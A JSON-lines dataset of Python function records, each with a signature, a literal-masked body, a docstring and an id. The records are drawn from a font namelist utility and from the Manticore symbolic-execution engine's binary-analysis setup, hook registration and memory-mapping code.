{"signature": "def readNamelist(namFilename, unique_glyphs=False, cache=None):", "body": "currentlyIncluding = set()<EOL>if not cache:<EOL><INDENT>cache = {}<EOL><DEDENT>return _readNamelist(currentlyIncluding, cache, namFilename, unique_glyphs)<EOL>", "docstring": "Args:\n  namFilename: The path to the  Namelist file.\n  unique_glyphs: Optional, whether to only include glyphs unique to subset.\n  cache: Optional, a dict used to cache loaded Namelist files\n\nReturns:\nA dict with following keys:\n\"fileName\": (string) absolut path to namFilename\n\"ownCharset\": (set) the set of codepoints defined by the file itself\n\"header\": (dict) the result of _parseNamelistHeader\n\"includes\":\n    (set) if unique_glyphs=False, the resulting dicts of readNamelist\n          for each of the include files\n    (None) if unique_glyphs=True\n\"charset\":\n    (set) if unique_glyphs=False, the union of \"ownCharset\" and all\n          \"charset\" items of each included file\n    (None) if unique_glyphs=True\n\nIf you are using  unique_glyphs=True and an external cache, don't expect\nthe keys \"includes\" and \"charset\" to have a specific value.\nDepending on the state of cache, if unique_glyphs=True the returned\ndict may have None values for its \"includes\" and \"charset\" keys.", "id": "f16791:m8"}
{"signature": "def codepointsInNamelist(namFilename, unique_glyphs=False, cache=None):", "body": "key = '<STR_LIT>' if not unique_glyphs else '<STR_LIT>'<EOL>internals_dir = os.path.dirname(os.path.abspath(__file__))<EOL>target = os.path.join(internals_dir, namFilename)<EOL>result = readNamelist(target, unique_glyphs, cache)<EOL>return result[key]<EOL>", "docstring": "Returns the set of codepoints contained in a given Namelist file.\n\n    This is a replacement CodepointsInSubset and implements the \"#$ include\"\n    header format.\n\n    Args:\n      namFilename: The path to the  Namelist file.\n      unique_glyphs: Optional, whether to only include glyphs unique to subset.\n    Returns:\n      A set containing the glyphs in the subset.", "id": "f16791:m9"}
{"signature": "def get_orthographies(self, _library=library):", "body": "results = []<EOL>for charset in _library.charsets:<EOL><INDENT>if self._charsets:<EOL><INDENT>cn = getattr(charset, '<STR_LIT>', False)<EOL>abbr = getattr(charset, '<STR_LIT>', False)<EOL>nn = getattr(charset, '<STR_LIT>', False)<EOL>naive = getattr(charset, '<STR_LIT>', False)<EOL>if cn and cn.lower() in self._charsets:<EOL><INDENT>results.append(charset)<EOL><DEDENT>elif nn and nn.lower() in self._charsets:<EOL><INDENT>results.append(charset)<EOL><DEDENT>elif naive and naive.lower() in self._charsets:<EOL><INDENT>results.append(charset)<EOL><DEDENT>elif abbr and abbr.lower() in self._charsets:<EOL><INDENT>results.append(charset)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>results.append(charset)<EOL><DEDENT><DEDENT>for result in results:<EOL><INDENT>yield CharsetInfo(self, result)<EOL><DEDENT>", "docstring": "Returns list of CharsetInfo about supported orthographies", "id": "f16968:c4:m3"}
{"signature": "def getGlyphNames(self):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "TODO: Fix this so that pyfontaine falls back to using fontTools to get glyph names\nif getGlyphNames() is really needed by the given mode of use.", "id": "f16968:c6:m2"}
{"signature": "def __init__(self, path_or_state, argv=None, workspace_url=None, policy='<STR_LIT>', **kwargs):", "body": "if isinstance(path_or_state, str):<EOL><INDENT>if not os.path.isfile(path_or_state):<EOL><INDENT>raise OSError(f'<STR_LIT>')<EOL><DEDENT>initial_state = _make_initial_state(path_or_state, argv=argv, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>initial_state = path_or_state<EOL><DEDENT>super().__init__(initial_state, workspace_url=workspace_url, policy=policy, **kwargs)<EOL>self.subscribe('<STR_LIT>', self._generate_testcase_callback)<EOL>", "docstring": ":param path_or_state: Path to binary or a state (object) to begin from.\n:param argv: arguments passed to the binary.", "id": "f16971:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def linux(cls, path, argv=None, envp=None, entry_symbol=None, symbolic_files=None, concrete_start='<STR_LIT>', pure_symbolic=False, stdin_size=None, **kwargs):<DEDENT>", "body": "if stdin_size is None:<EOL><INDENT>stdin_size = consts.stdin_size<EOL><DEDENT>try:<EOL><INDENT>return cls(_make_linux(path, argv, envp, entry_symbol, symbolic_files, concrete_start, pure_symbolic, stdin_size), **kwargs)<EOL><DEDENT>except elftools.common.exceptions.ELFError:<EOL><INDENT>raise Exception(f'<STR_LIT>')<EOL><DEDENT>", "docstring": "Constructor for Linux binary analysis.\n\n:param str path: Path to binary to analyze\n:param argv: Arguments to provide to the binary\n:type argv: list[str]\n:param envp: Environment to provide to the binary\n:type envp: dict[str, str]\n:param entry_symbol: Entry symbol to resolve to start execution\n:type envp: str\n:param symbolic_files: Filenames to mark as having symbolic input\n:type symbolic_files: list[str]\n:param str concrete_start: Concrete stdin to use before symbolic input\n:param int stdin_size: symbolic stdin size to use\n:param kwargs: Forwarded to the Manticore constructor\n:return: Manticore instance, initialized with a Linux State\n:rtype: Manticore", "id": "f16971:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def decree(cls, path, concrete_start='<STR_LIT>', **kwargs):<DEDENT>", "body": "try:<EOL><INDENT>return cls(_make_decree(path, concrete_start), **kwargs)<EOL><DEDENT>except KeyError:  <EOL><INDENT>raise Exception(f'<STR_LIT>')<EOL><DEDENT>", "docstring": "Constructor for Decree binary analysis.\n\n:param str path: Path to binary to analyze\n:param str concrete_start: Concrete stdin to use before symbolic input\n:param kwargs: Forwarded to the Manticore constructor\n:return: Manticore instance, initialized with a Decree State\n:rtype: Manticore", "id": "f16971:c0:m3"}
{"signature": "@property<EOL><INDENT>def binary_path(self):<DEDENT>", "body": "return self._initial_state.platform.program<EOL>", "docstring": "Assumes that self._initial_state.platform.program always\nrefers to current program. Might not be true in case program\ncalls execve().", "id": "f16971:c0:m4"}
{"signature": "def init(self, f):", "body": "def callback(manticore_obj, state):<EOL><INDENT>f(state)<EOL><DEDENT>self.subscribe('<STR_LIT>', types.MethodType(callback, self))<EOL>return f<EOL>", "docstring": "A decorator used to register a hook function to run before analysis begins. Hook\nfunction takes one :class:`~manticore.core.state.State` argument.", "id": "f16971:c0:m5"}
{"signature": "def hook(self, pc):", "body": "def decorator(f):<EOL><INDENT>self.add_hook(pc, f)<EOL>return f<EOL><DEDENT>return decorator<EOL>", "docstring": "A decorator used to register a hook function for a given instruction address.\nEquivalent to calling :func:`~add_hook`.\n\n:param pc: Address of instruction to hook\n:type pc: int or None", "id": "f16971:c0:m6"}
{"signature": "def add_hook(self, pc, callback):", "body": "if not (isinstance(pc, int) or pc is None):<EOL><INDENT>raise TypeError(f\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._hooks.setdefault(pc, set()).add(callback)<EOL>if self._hooks:<EOL><INDENT>self._executor.subscribe('<STR_LIT>', self._hook_callback)<EOL><DEDENT><DEDENT>", "docstring": "Add a callback to be invoked on executing a program counter. Pass `None`\nfor pc to invoke callback on every instruction. `callback` should be a callable\nthat takes one :class:`~manticore.core.state.State` argument.\n\n:param pc: Address of instruction to hook\n:type pc: int or None\n:param callable callback: Hook function", "id": "f16971:c0:m7"}
{"signature": "def _hook_callback(self, state, pc, instruction):", "body": "<EOL>if issymbolic(pc):<EOL><INDENT>return<EOL><DEDENT>for cb in self._hooks.get(pc, []):<EOL><INDENT>cb(state)<EOL><DEDENT>for cb in self._hooks.get(None, []):<EOL><INDENT>cb(state)<EOL><DEDENT>", "docstring": "Invoke all registered generic hooks", "id": "f16971:c0:m8"}
{"signature": "def resolve(self, symbol):", "body": "with open(self.binary_path, '<STR_LIT:rb>') as f:<EOL><INDENT>elffile = ELFFile(f)<EOL>for section in elffile.iter_sections():<EOL><INDENT>if not isinstance(section, SymbolTableSection):<EOL><INDENT>continue<EOL><DEDENT>symbols = section.get_symbol_by_name(symbol)<EOL>if not symbols:<EOL><INDENT>continue<EOL><DEDENT>return symbols[<NUM_LIT:0>].entry['<STR_LIT>']<EOL><DEDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "A helper method used to resolve a symbol name into a memory address when\ninjecting hooks for analysis.\n\n:param symbol: function name to be resolved\n:type symbol: string\n\n:param line: if more functions present, optional line number can be included\n:type line: int or None", "id": "f16971:c0:m9"}
{"signature": "def _normalize(c):", "body": "if isinstance(c, int):<EOL><INDENT>return bytes([c])<EOL><DEDENT>elif isinstance(c, str):<EOL><INDENT>return bytes([ord(c)])<EOL><DEDENT>else:<EOL><INDENT>return c<EOL><DEDENT>", "docstring": "Convert a byte-like value into a canonical byte (a value of type 'bytes' of len 1)\n\n:param c:\n:return:", "id": "f16973:m0"}
{"signature": "def __init__(self, message, address=None):", "body": "self.address = address<EOL>self.message = message<EOL>if address is not None and not issymbolic(address):<EOL><INDENT>self.message += f'<STR_LIT>'<EOL><DEDENT>", "docstring": "Builds a memory exception.\n\n:param message: exception message.\n:param address: memory address where the exception occurred.", "id": "f16973:c0:m0"}
{"signature": "def __init__(self, start, size, perms, name=None):", "body": "assert isinstance(start, int) and start >= <NUM_LIT:0>, '<STR_LIT>'<EOL>assert isinstance(size, int) and size > <NUM_LIT:0>, '<STR_LIT>'<EOL>super().__init__()<EOL>self._start = start<EOL>self._end = start + size<EOL>self._set_perms(perms)<EOL>self._name = name<EOL>", "docstring": "Abstract memory map.\n\n:param start: the first valid address.\n:param size: the size of the map.\n:param perms: the access permissions of the map (rwx).", "id": "f16973:c4:m0"}
{"signature": "def _get_perms(self):", "body": "return self._perms<EOL>", "docstring": "Gets the access permissions of the map.", "id": "f16973:c4:m1"}
{"signature": "def _set_perms(self, perms):", "body": "assert isinstance(perms, str) and len(perms) <= <NUM_LIT:3> and perms.strip() in ['<STR_LIT>', '<STR_LIT:r>', '<STR_LIT:w>', '<STR_LIT:x>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', ]<EOL>self._perms = perms<EOL>", "docstring": "Sets the access permissions of the map.\n\n:param perms: the new permissions.", "id": "f16973:c4:m2"}
{"signature": "def access_ok(self, access):", "body": "for c in access:<EOL><INDENT>if c not in self.perms:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check if there is enough permissions for access", "id": "f16973:c4:m3"}
{"signature": "def __len__(self):", "body": "return self._end - self._start<EOL>", "docstring": "Returns the current size in bytes.", "id": "f16973:c4:m7"}
{"signature": "def __repr__(self):", "body": "return f'<STR_LIT>'<EOL>", "docstring": "Returns the string representation of the map mapping.\n\n:rtype: str", "id": "f16973:c4:m8"}
{"signature": "def __iter__(self):", "body": "return iter(range(self._start, self._end))<EOL>", "docstring": "Iterate all valid addresses", "id": "f16973:c4:m9"}
{"signature": "def _in_range(self, index):", "body": "if isinstance(index, slice):<EOL><INDENT>in_range = index.start < index.stop andindex.start >= self.start andindex.stop <= self.end<EOL><DEDENT>else:<EOL><INDENT>in_range = index >= self.start andindex <= self.end<EOL><DEDENT>return in_range<EOL>", "docstring": "Returns True if index is in range", "id": "f16973:c4:m13"}
{"signature": "def _get_offset(self, index):", "body": "if not self._in_range(index):<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT>if isinstance(index, slice):<EOL><INDENT>index = slice(index.start - self.start, index.stop - self.start)<EOL><DEDENT>else:<EOL><INDENT>index -= self.start<EOL><DEDENT>return index<EOL>", "docstring": "Translates the index to the internal offsets.\n\nself.start   -> 0\nself.start+1 -> 1\n...\nself.end     -> len(self)", "id": "f16973:c4:m14"}
{"signature": "@abstractmethod<EOL><INDENT>def __getitem__(self, index):<DEDENT>", "body": "", "docstring": "Reads a byte from an address or a sequence of bytes from a range of addresses\n\n:param index: the address or slice where to obtain the bytes from.\n:return: the character or sequence at the specified address.\n:rtype: byte or array", "id": "f16973:c4:m15"}
{"signature": "@abstractmethod<EOL><INDENT>def __setitem__(self, index, value):<DEDENT>", "body": "", "docstring": "Writes a byte to an address or a sequence of bytes to a range of addresses\n\n:param index: the address or slice where to put the data.\n:param value: byte or sequence of bytes to put in this map.", "id": "f16973:c4:m16"}
{"signature": "@abstractmethod<EOL><INDENT>def split(self, address):<DEDENT>", "body": "", "docstring": "Split the current map into two mappings\n\n:param address: The address at which to split the Map.", "id": "f16973:c4:m17"}
{"signature": "def __init__(self, start, size, perms, data_init=None, name=None, **kwargs):", "body": "super().__init__(start, size, perms, name, **kwargs)<EOL>self._data = bytearray(size)<EOL>if data_init is not None:<EOL><INDENT>assert len(data_init) <= size, '<STR_LIT>'<EOL>if isinstance(data_init[<NUM_LIT:0>], int):<EOL><INDENT>self._data[<NUM_LIT:0>:len(data_init)] = data_init<EOL><DEDENT>else:<EOL><INDENT>self._data[<NUM_LIT:0>:len(data_init)] = [ord(s) for s in data_init]<EOL><DEDENT><DEDENT>", "docstring": "Builds a concrete anonymous memory map.\n\n:param start: the first valid address of the map.\n:param size: the size of the map.\n:param perms: the access permissions of the map.\n:param data_init: the data to initialize the map.", "id": "f16973:c5:m0"}
{"signature": "def __init__(self, addr, size, perms, filename, offset=<NUM_LIT:0>, overlay=None, **kwargs):", "body": "super().__init__(addr, size, perms, **kwargs)<EOL>assert isinstance(offset, int)<EOL>assert offset >= <NUM_LIT:0><EOL>self._filename = filename<EOL>self._offset = offset<EOL>with open(filename, '<STR_LIT:r>') as fileobject:<EOL><INDENT>fileobject.seek(<NUM_LIT:0>, <NUM_LIT:2>)<EOL>file_size = fileobject.tell()<EOL>self._mapped_size = min(size, file_size - offset)<EOL>self._data = mmap(fileobject.fileno(), offset, self._mapped_size)<EOL><DEDENT>if overlay is not None:<EOL><INDENT>self._overlay = dict(overlay)<EOL><DEDENT>else:<EOL><INDENT>self._overlay = dict()<EOL><DEDENT>", "docstring": "Builds a map of memory  initialized with the content of filename.\n\n:param addr: the first valid address of the file map.\n:param size: the size of the file map.\n:param perms: the access permissions of the file map.\n:param filename: the file to map in memory.\n:param offset: the offset into the file where to start the mapping. \\\n        This offset must be a multiple of pagebitsize.", "id": "f16973:c7:m0"}
{"signature": "def __init__(self, parent, offset=<NUM_LIT:0>, perms=None, size=None, **kwargs):", "body": "assert isinstance(parent, Map)<EOL>assert offset >= <NUM_LIT:0> and offset < len(parent)<EOL>if size is None:<EOL><INDENT>size = len(parent) - offset<EOL><DEDENT>assert parent.start + offset + size <= parent.end<EOL>if perms is None:<EOL><INDENT>perms = parent.perms<EOL><DEDENT>super().__init__(parent.start + offset, size, perms, **kwargs)<EOL>self._parent = parent<EOL>self._parent.__setitem__ = False<EOL>self._cow = {}<EOL>", "docstring": "A copy on write copy of parent. Writes to the parent after a copy on\nwrite are unspecified.\n\n:param parent: the parent map.\n:param offset: an offset within the parent map from where to create the new map.\n:param perms: Permissions on new mapping, or None if inheriting.\n:param size: the size of the new map or max.", "id": "f16973:c8:m0"}
{"signature": "def __init__(self, maps=None, cpu=StubCPU()):", "body": "super().__init__()<EOL>if maps is None:<EOL><INDENT>self._maps = set()<EOL><DEDENT>else:<EOL><INDENT>self._maps = set(maps)<EOL><DEDENT>self.cpu = cpu<EOL>self._page2map = WeakValueDictionary()  <EOL>self._recording_stack = []<EOL>for m in self._maps:<EOL><INDENT>for i in range(self._page(m.start), self._page(m.end)):<EOL><INDENT>assert i not in self._page2map<EOL>self._page2map[i] = m<EOL><DEDENT><DEDENT>", "docstring": "Builds a memory manager.", "id": "f16973:c10:m0"}
{"signature": "def _ceil(self, address):", "body": "return (((address - <NUM_LIT:1>) + self.page_size) & ~self.page_mask) & self.memory_mask<EOL>", "docstring": "Returns the smallest page boundary value not less than the address.\n:rtype: int\n:param address: the address to calculate its ceil.\n:return: the ceil of C{address}.", "id": "f16973:c10:m9"}
{"signature": "def _floor(self, address):", "body": "return address & ~self.page_mask<EOL>", "docstring": "Returns largest page boundary value not greater than the address.\n\n:param address: the address to calculate its floor.\n:return: the floor of C{address}.\n:rtype: int", "id": "f16973:c10:m10"}
{"signature": "def _page(self, address):", "body": "return address >> self.page_bit_size<EOL>", "docstring": "Calculates the page number of an address.\n\n:param address: the address to calculate its page number.\n:return: the page number of address.\n:rtype: int", "id": "f16973:c10:m11"}
{"signature": "def _search(self, size, start=None, counter=<NUM_LIT:0>):", "body": "assert size & self.page_mask == <NUM_LIT:0><EOL>if start is None:<EOL><INDENT>end = {<NUM_LIT:32>: <NUM_LIT>, <NUM_LIT:64>: <NUM_LIT>}[self.memory_bit_size]<EOL>start = end - size<EOL><DEDENT>else:<EOL><INDENT>if start > self.memory_size - size:<EOL><INDENT>start = self.memory_size - size<EOL><DEDENT>end = start + size<EOL><DEDENT>consecutive_free = <NUM_LIT:0><EOL>for p in range(self._page(end - <NUM_LIT:1>), -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if p not in self._page2map:<EOL><INDENT>consecutive_free += <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>consecutive_free = <NUM_LIT:0><EOL><DEDENT>if consecutive_free >= size:<EOL><INDENT>return p << self.page_bit_size<EOL><DEDENT>counter += <NUM_LIT:1><EOL>if counter >= self.memory_size // self.page_size:<EOL><INDENT>raise MemoryException('<STR_LIT>')<EOL><DEDENT><DEDENT>return self._search(size, self.memory_size - size, counter)<EOL>", "docstring": "Recursively searches the address space for enough free space to allocate C{size} bytes.\n\n:param size: the size in bytes to allocate.\n:param start: an address from where to start the search.\n:param counter: internal parameter to know if all the memory was already scanned.\n:return: the address of an available space to map C{size} bytes.\n:raises MemoryException: if there is no space available to allocate the desired memory.\n:rtype: int\n\n\ntodo: Document what happens when you try to allocate something that goes round the address 32/64 bit representation.", "id": "f16973:c10:m12"}
{"signature": "def mmapFile(self, addr, size, perms, filename, offset=<NUM_LIT:0>):", "body": "<EOL>assert addr is None or isinstance(addr, int), '<STR_LIT>'<EOL>assert size > <NUM_LIT:0><EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, filename, offset)<EOL>if addr is not None:<EOL><INDENT>assert addr < self.memory_size, '<STR_LIT>'<EOL>addr = self._floor(addr)<EOL><DEDENT>size = self._ceil(size)<EOL>addr = self._search(size, addr)<EOL>for i in range(self._page(addr), self._page(addr + size)):<EOL><INDENT>assert i not in self._page2map, '<STR_LIT>'<EOL><DEDENT>m = FileMap(addr, size, perms, filename, offset)<EOL>self._add(m)<EOL>logger.debug('<STR_LIT>', addr, size)<EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, filename, offset, addr)<EOL>return addr<EOL>", "docstring": "Creates a new file mapping in the memory address space.\n\n:param addr: the starting address (took as hint). If C{addr} is C{0} the first big enough\n             chunk of memory will be selected as starting address.\n:param size: the contents of a file mapping are initialized using C{size} bytes starting\n             at offset C{offset} in the file C{filename}.\n:param perms: the access permissions to this memory.\n:param filename: the pathname to the file to map.\n:param offset: the contents of a file mapping are initialized using C{size} bytes starting\n              at offset C{offset} in the file C{filename}.\n:return: the starting address where the file was mapped.\n:rtype: int\n:raises error:\n           - 'Address shall be concrete' if C{addr} is not an integer number.\n           - 'Address too big' if C{addr} goes beyond the limit of the memory.\n           - 'Map already used' if the piece of memory starting in C{addr} and with length C{size} isn't free.", "id": "f16973:c10:m13"}
{"signature": "def mmap(self, addr, size, perms, data_init=None, name=None):", "body": "<EOL>assert addr is None or isinstance(addr, int), '<STR_LIT>'<EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, None, None)<EOL>if addr is not None:<EOL><INDENT>assert addr < self.memory_size, '<STR_LIT>'<EOL>addr = self._floor(addr)<EOL><DEDENT>size = self._ceil(size)<EOL>addr = self._search(size, addr)<EOL>for i in range(self._page(addr), self._page(addr + size)):<EOL><INDENT>assert i not in self._page2map, '<STR_LIT>'<EOL><DEDENT>m = AnonMap(start=addr, size=size, perms=perms, data_init=data_init, name=name)<EOL>self._add(m)<EOL>logger.debug('<STR_LIT>', addr, size)<EOL>self.cpu._publish('<STR_LIT>', addr, size, perms, None, None, addr)<EOL>return addr<EOL>", "docstring": "Creates a new mapping in the memory address space.\n\n:param addr: the starting address (took as hint). If C{addr} is C{0} the first big enough\n             chunk of memory will be selected as starting address.\n:param size: the length of the mapping.\n:param perms: the access permissions to this memory.\n:param data_init: optional data to initialize this memory.\n:param name: optional name to give to this mapping\n:return: the starting address where the memory was mapped.\n:raises error:\n           - 'Address shall be concrete' if C{addr} is not an integer number.\n           - 'Address too big' if C{addr} goes beyond the limit of the memory.\n           - 'Map already used' if the piece of memory starting in C{addr} and with length C{size} isn't free.\n:rtype: int", "id": "f16973:c10:m14"}
{"signature": "def map_containing(self, address):", "body": "page_offset = self._page(address)<EOL>if page_offset not in self._page2map:<EOL><INDENT>raise MemoryException(\"<STR_LIT>\", address)<EOL><DEDENT>return self._page2map[page_offset]<EOL>", "docstring": "Returns the L{MMap} object containing the address.\n\n:param address: the address to obtain its mapping.\n:rtype: L{MMap}\n\n@todo: symbolic address", "id": "f16973:c10:m17"}
{"signature": "def mappings(self):", "body": "result = []<EOL>for m in self.maps:<EOL><INDENT>if isinstance(m, AnonMap):<EOL><INDENT>result.append((m.start, m.end, m.perms, <NUM_LIT:0>, '<STR_LIT>'))<EOL><DEDENT>elif isinstance(m, FileMap):<EOL><INDENT>result.append((m.start, m.end, m.perms, m._offset, m._filename))<EOL><DEDENT>else:<EOL><INDENT>result.append((m.start, m.end, m.perms, <NUM_LIT:0>, m.name))<EOL><DEDENT><DEDENT>return sorted(result)<EOL>", "docstring": "Returns a sorted list of all the mappings for this memory.\n\n:return: a list of mappings.\n:rtype: list", "id": "f16973:c10:m18"}
{"signature": "def _maps_in_range(self, start, end):", "body": "<EOL>addr = start<EOL>while addr < end:<EOL><INDENT>if addr not in self:<EOL><INDENT>addr += self.page_size<EOL><DEDENT>else:<EOL><INDENT>m = self._page2map[self._page(addr)]<EOL>yield m<EOL>addr = m.end<EOL><DEDENT><DEDENT>", "docstring": "Generates the list of maps that overlaps with the range [start:end]", "id": "f16973:c10:m20"}
{"signature": "def munmap(self, start, size):", "body": "start = self._floor(start)<EOL>end = self._ceil(start + size)<EOL>self.cpu._publish('<STR_LIT>', start, size)<EOL>for m in self._maps_in_range(start, end):<EOL><INDENT>self._del(m)<EOL>head, tail = m.split(start)<EOL>middle, tail = tail.split(end)<EOL>assert middle is not None<EOL>if head:<EOL><INDENT>self._add(head)<EOL><DEDENT>if tail:<EOL><INDENT>self._add(tail)<EOL><DEDENT><DEDENT>self.cpu._publish('<STR_LIT>', start, size)<EOL>logger.debug(f'<STR_LIT>')<EOL>", "docstring": "Deletes the mappings for the specified address range and causes further\nreferences to addresses within the range to generate invalid memory\nreferences.\n\n:param start: the starting address to delete.\n:param size: the length of the unmapping.", "id": "f16973:c10:m21"}
{"signature": "def push_record_writes(self):", "body": "self._recording_stack.append([])<EOL>", "docstring": "Begin recording all writes. Retrieve all writes with `pop_record_writes()`", "id": "f16973:c10:m27"}
{"signature": "def pop_record_writes(self):", "body": "lst = self._recording_stack.pop()<EOL>if self._recording_stack:<EOL><INDENT>self._recording_stack[-<NUM_LIT:1>].extend(lst)<EOL><DEDENT>return lst<EOL>", "docstring": "Stop recording trace and return a `list[(address, value)]` of all the writes\nthat occurred, where `value` is of type list[str]. Can be called without\nintermediate `pop_record_writes()`.\n\nFor example::\n\n    mem.push_record_writes()\n        mem.write(1, 'a')\n        mem.push_record_writes()\n            mem.write(2, 'b')\n        mem.pop_record_writes()  # Will return [(2, 'b')]\n    mem.pop_record_writes()  # Will return [(1, 'a'), (2, 'b')]\n\nMultiple writes to the same address will all be included in the trace in the\nsame order they occurred.\n\n:return: list[tuple]", "id": "f16973:c10:m28"}
{"signature": "def __iter__(self):", "body": "for page_addr in sorted(self._page2map.keys()):<EOL><INDENT>start = page_addr * self.page_size<EOL>end = start + self.page_size<EOL>for addr in range(start, end):<EOL><INDENT>yield addr<EOL><DEDENT><DEDENT>", "docstring": "Iterate all valid addresses", "id": "f16973:c10:m33"}
{"signature": "def __init__(self, constraints, symbols=None, *args, **kwargs):", "body": "super().__init__(*args, **kwargs)<EOL>assert isinstance(constraints, ConstraintSet)<EOL>self._constraints = constraints<EOL>if symbols is None:<EOL><INDENT>self._symbols = {}<EOL><DEDENT>else:<EOL><INDENT>self._symbols = dict(symbols)<EOL><DEDENT>", "docstring": "Builds a memory.\n\n:param constraints:  a set of constraints\n:param symbols: Symbolic chunks", "id": "f16973:c11:m0"}
{"signature": "def munmap(self, start, size):", "body": "for addr in range(start, start + size):<EOL><INDENT>if len(self._symbols) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>if addr in self._symbols:<EOL><INDENT>del self._symbols[addr]<EOL><DEDENT><DEDENT>super().munmap(start, size)<EOL>", "docstring": "Deletes the mappings for the specified address range and causes further\nreferences to addresses within the range to generate invalid memory\nreferences.\n\n:param start: the starting address to delete.\n:param size: the length of the unmapping.", "id": "f16973:c11:m5"}
{"signature": "def read(self, address, size, force=False):", "body": "size = self._get_size(size)<EOL>assert not issymbolic(size)<EOL>if issymbolic(address):<EOL><INDENT>assert solver.check(self.constraints)<EOL>logger.debug(f'<STR_LIT>')<EOL>try:<EOL><INDENT>solutions = self._try_get_solutions(address, size, '<STR_LIT:r>', force=force)<EOL>assert len(solutions) > <NUM_LIT:0><EOL><DEDENT>except TooManySolutions as e:<EOL><INDENT>m, M = solver.minmax(self.constraints, address)<EOL>logger.debug(f'<STR_LIT>')<EOL>crashing_condition = True<EOL>for start, end, perms, offset, name in self.mappings():<EOL><INDENT>if start <= M + size and end >= m:<EOL><INDENT>if '<STR_LIT:r>' in perms:<EOL><INDENT>crashing_condition = Operators.AND(Operators.OR((address + size).ult(start), address.uge(end)), crashing_condition)<EOL><DEDENT><DEDENT><DEDENT>if solver.can_be_true(self.constraints, crashing_condition):<EOL><INDENT>raise InvalidSymbolicMemoryAccess(address, '<STR_LIT:r>', size, crashing_condition)<EOL><DEDENT>logger.info('<STR_LIT>')<EOL>condition = False<EOL>for base in e.solutions:<EOL><INDENT>condition = Operators.OR(address == base, condition)<EOL><DEDENT>from .state import ForkState<EOL>raise ForkState(\"<STR_LIT>\", condition)<EOL><DEDENT>condition = False<EOL>for base in solutions:<EOL><INDENT>condition = Operators.OR(address == base, condition)<EOL><DEDENT>result = []<EOL>for offset in range(size):<EOL><INDENT>for base in solutions:<EOL><INDENT>addr_value = base + offset<EOL>byte = Operators.ORD(self.map_containing(addr_value)[addr_value])<EOL>if addr_value in self._symbols:<EOL><INDENT>for condition, value in self._symbols[addr_value]:<EOL><INDENT>byte = Operators.ITEBV(<NUM_LIT:8>, condition, Operators.ORD(value), byte)<EOL><DEDENT><DEDENT>if len(result) > offset:<EOL><INDENT>result[offset] = Operators.ITEBV(<NUM_LIT:8>, address == base, byte, result[offset])<EOL><DEDENT>else:<EOL><INDENT>result.append(byte)<EOL><DEDENT>assert len(result) == offset + <NUM_LIT:1><EOL><DEDENT><DEDENT>return list(map(Operators.CHR, result))<EOL><DEDENT>else:<EOL><INDENT>result = list(map(Operators.ORD, super().read(address, size, force)))<EOL>for offset in range(size):<EOL><INDENT>if address + offset in self._symbols:<EOL><INDENT>for condition, value in self._symbols[address + offset]:<EOL><INDENT>if condition is True:<EOL><INDENT>result[offset] = Operators.ORD(value)<EOL><DEDENT>else:<EOL><INDENT>result[offset] = Operators.ITEBV(<NUM_LIT:8>, condition, Operators.ORD(value), result[offset])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return list(map(Operators.CHR, result))<EOL><DEDENT>", "docstring": "Read a stream of potentially symbolic bytes from a potentially symbolic\naddress\n\n:param address: Where to read from\n:param size: How many bytes\n:param force: Whether to ignore permissions\n:rtype: list", "id": "f16973:c11:m6"}
{"signature": "def write(self, address, value, force=False):", "body": "size = len(value)<EOL>if issymbolic(address):<EOL><INDENT>solutions = self._try_get_solutions(address, size, '<STR_LIT:w>', force=force)<EOL>for offset in range(size):<EOL><INDENT>for base in solutions:<EOL><INDENT>condition = base == address<EOL>self._symbols.setdefault(base + offset, []).append((condition, value[offset]))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for offset in range(size):<EOL><INDENT>if issymbolic(value[offset]):<EOL><INDENT>if not self.access_ok(address + offset, '<STR_LIT:w>', force):<EOL><INDENT>raise InvalidMemoryAccess(address + offset, '<STR_LIT:w>')<EOL><DEDENT>self._symbols[address + offset] = [(True, value[offset])]<EOL><DEDENT>else:<EOL><INDENT>if address + offset in self._symbols:<EOL><INDENT>del self._symbols[address + offset]<EOL><DEDENT>super().write(address + offset, [value[offset]], force)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Write a value at address.\n:param address: The address at which to write\n:type address: int or long or Expression\n:param value: Bytes to write\n:type value: str or list\n:param force: Whether to ignore permissions", "id": "f16973:c11:m7"}
{"signature": "def _try_get_solutions(self, address, size, access, max_solutions=<NUM_LIT>, force=False):", "body": "assert issymbolic(address)<EOL>solutions = solver.get_all_values(self.constraints, address, maxcnt=max_solutions)<EOL>crashing_condition = False<EOL>for base in solutions:<EOL><INDENT>if not self.access_ok(slice(base, base + size), access, force):<EOL><INDENT>crashing_condition = Operators.OR(address == base, crashing_condition)<EOL><DEDENT><DEDENT>if solver.can_be_true(self.constraints, crashing_condition):<EOL><INDENT>raise InvalidSymbolicMemoryAccess(address, access, size, crashing_condition)<EOL><DEDENT>return solutions<EOL>", "docstring": "Try to solve for a symbolic address, checking permissions when reading/writing size bytes.\n\n:param Expression address: The address to solve for\n:param int size: How many bytes to check permissions for\n:param str access: 'r' or 'w'\n:param int max_solutions: Will raise if more solutions are found\n:param force: Whether to ignore permission failure\n:rtype: list", "id": "f16973:c11:m8"}
